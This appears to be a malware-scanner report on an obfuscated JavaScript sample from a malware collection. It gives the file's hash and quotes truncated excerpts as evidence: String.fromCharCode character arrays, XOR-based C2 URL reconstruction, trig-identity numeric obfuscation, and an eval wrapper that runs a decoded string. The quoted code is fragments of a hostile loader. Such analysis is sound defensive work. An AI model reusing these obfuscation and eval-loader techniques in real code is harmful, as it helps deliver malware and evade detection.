Suspicious ^80% javascript-malware-collection Download

20151217_c0d9e43ff730ae72d21f2fa67b6095e1.js

obfuscated eval, C2 URL reconstruction

Numeric trig-round obfuscation expressionNumeric sine-square obfuscation expression

SHA-256b1f3a61087832d5e85b7db91e169b7ebc31c26c42ea128596dadba42bb75fa61

Evidence

Builds characters with String.fromCharCode line 2

2:150… '-','Z','n','5','0','^','7','P','-','=','2','-','C','r','/','e',String.fromCharCode(10),'q','$','y','/',';','e','-',' ',']','P','L','!',']',String.fromCharCode(13),'i','u','n','F',']','8','3','Y','D','d','W','x' …

XOR URL reconstruction call line 2

2:1850… 'H','Y','.',':','p','h','(','s','Z','W','r','{','[','0','/','L',String.fromCharCode(92),' ','t',',',']',']','i',',',',','0','2','-','@','^','Y','_','H','u','l',',','`','+','U','/','a','I','f','k','E','8','+','7','@','b','l','c','$','q','p','s','9','n','k','d','e','t …

Calls JavaScript toString conversion method lines 4–7

4:44… LeLuVI){tQMA=xtsKgOJUCilrxtFDu(WplaKfTPfqP,GdQRtSGoUacNZ);xKEqt=tQMA.toString(xULeLuVI);return xKEqt;}
5function KEGlLGuxWDRskhG(INoOrTcacuwHoLwTj,EQQhtIjjEJMZyPjkQVlOSqMIssvDBdXMDr,TEwFzDMJzYZCbpLuZJAEtXxzwcWctIvwqQI){eval(INoOrTcacuwHoLwTj);}
6function upYojHIJQRFRExJkQdZsvJzfbKkURdrfukFEsYGfmmPkDCsyZRzbvE(eqDOqRqMLlKgN,JhZwYpTPMMVhUU){ return jhnRFTE[gPLUxBsG[NYdjb(eqDOqRqMLlKgN[JhZwYpTPMMVhUU],(25777+291)/931,(1192+308)/150)]];}
7function xVjZIoi(ypFXGKzgNLamieMKBJKWXxudcQVcpmRzrXUy) {return !MNycDOtqDPw(bwKfipEUpBMTXFP(ypFXGKzgNLamieMKBJKWXxudc …

Dense indexed short-token grid lines 12–13

12:33… UVIQlIU,jkpyapIHtkU) {MwPwhlDnrDglcw[iBOrXeUVIQlIU]=jkpyapIHtkU;}
13var C = new Array();C[0]=[];C[0][0]='d';C[0][1]='a';C[0][2]='d';C[0][3]='a';C[0][4]='46';C[0][5]='3d';C[0][6]='42';C[0][7]='14';C[0][8]='3j';C[0][9]='14';C[0][10]='25';C[0][11]='14';C[0][12]='16';C[0][13]='47';C[0][14]='3k';C[0][15]='3d';C[0][16]='44';C[0][17]='3g';C[0][18]='3l';C[0][19]='3g';C[0][20]='49';C[0][21]='3 …

Numeric sine-square obfuscation expression lines 19–22

19:30… ],C[4],C[5]];
20var ZEPgrmsSg=[];
21function ixaBuUucQQXHsUanc(dRKop){oPeHZaWiFNC= '';BZUmqMmZOxl=Math.round((Math.pow(Math.sin(69), 2) + Math.pow(Math.cos(69), 2) - 1));while(true){if (BZUmqMmZOxl >= (4639+743)/897){break;}ZEPgrmsSg[BZUmqMmZOxl]=Math.round((Math.pow(Math.sin(401), 2) + Math.pow(Math.cos(401), 2) - 1)); while(true) { if(ZEPgrmsSg[BZUmqMmZOxl] > dRKop[BZUmqMmZOxl].length-(-98+668)/570) { break; } if (xVjZIoi(NYdjb(dRKop[BZUmqMmZOxl][ZEPgrmsSg[BZUmqMmZOxl]],(7877+635)/304,(7070+0)/707))) {oPeHZaWiFNC += upYojHIJQRFRExJkQdZsvJzfbKkURdrfukFEsYGfmmPkDCsyZRzbvE([dRKop[BZUmqMmZOxl][ZEPgrmsSg[BZUmqMmZOxl]]], Math.round((Math.pow(Math.sin(906), 2) + Math.pow(Math.cos(906), 2) - 1)));} ZEPgrmsSg[BZUmqMmZOxl]++;}BZUmqMmZOxl++;} return oPeHZaWiFNC}
22var xHHgtZBhEXoErGLIYyvVHacBGwYMuVEyH = 'FNknivvVoerdlrHBuIwIOiaLcRmoTAJmFycX';var RgogBXZdoQViCLbOdwIjMmhHXQbChwdg = 'ussrVAqoXlmZRuBDQIiRgfFBvKUXJNZbtrmy';KEGlLGuxWDRskhG(ixaBuUucQQXHsUanc(dRKop),xHHgtZBhEXoErGLIYyvVHacBGwYMuVEyH,RgogBXZdoQViCLbOdwIjMmhHXQbChwdg);